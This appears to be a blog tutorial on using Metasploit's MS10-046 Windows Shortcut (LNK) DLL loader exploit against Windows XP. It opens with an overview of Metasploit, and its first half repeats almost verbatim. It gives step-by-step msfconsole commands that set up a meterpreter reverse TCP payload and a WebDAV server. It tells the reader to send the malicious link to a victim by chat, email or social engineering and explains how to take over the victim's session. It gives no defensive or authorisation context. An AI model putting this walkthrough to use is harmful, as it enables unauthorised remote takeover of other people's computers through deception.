What is Metasploit?
The Metasploit Project is a computer security project that provides information about security vulnerabilities and aids in penetration testing and IDS signature development.
Its best-known sub-project is the open source[2] Metasploit Framework, a tool for developing and executing exploit code against a remote target machine. Other important sub-projects include the Opcode Database, shellcode archive and related research.
The Metasploit Project is well known for its anti-forensic and evasion tools, some of which are built into the Metasploit Framework.
MS10_046 Shortcut Icon Dllloader Exploit:
This module exploits vulnerability in the handling of Windows Shortcut files (.LNK) that contain an icon resource pointing to a malicious DLL. This module creates a WebDAV service that can be used to run an arbitrary payload when accessed as a UNC path.
Exploit Targets:
Requirement:
Process:
You Now have access to the victims Computer. Use “sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“
The Metasploit Project is a computer security project that provides information about security vulnerabilities and aids in penetration testing and IDS signature development.
Its best-known sub-project is the open source[2] Metasploit Framework, a tool for developing and executing exploit code against a remote target machine. Other important sub-projects include the Opcode Database, shellcode archive and related research.
The Metasploit Project is well known for its anti-forensic and evasion tools, some of which are built into the Metasploit Framework.
MS10_046 Shortcut Icon Dllloader Exploit:
This module exploits vulnerability in the handling of Windows Shortcut files (.LNK) that contain an icon resource pointing to a malicious DLL. This module creates a WebDAV service that can be used to run an arbitrary payload when accessed as a UNC path.
Exploit Targets:
- Windows XP service pack 2
- Windows XP service pack 3
Requirement:
- Attacker: Metasploit
- Victim PC: Windows XP
Process:
- Open terminal
- Type msfconsole
- Use exploit/windows/browser/ms10_046_shortcut_icon_dllloader
- Msf exploit(ms10_046_shortcut_icon_dllloader)>set payload windows/meterpreter/reverse_tcp
- Msf exploit (ms10_046_shortcut_icon_dllloader)>set lhost 192.168.1.6(IP of Local Host)
- Msf exploit (ms10_046_shortcut_icon_dllloader)>set srvhost 192.168.1.6(This must be an address on the local machine)
- Msf exploit (ms10_046_shortcut_icon_dllloader)>set uripath /(The Url to use for this exploit)
- Msf exploit (ms10_046_shortcut_icon_dllloader)>exploit
- Now an URL you should give to your victim http://192.168.1.6/
- Send the link of the server to the victim via chat or email or any social engineering technique.
You Now have access to the victims Computer. Use “sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“
Sign up here with your email
ConversionConversion EmoticonEmoticon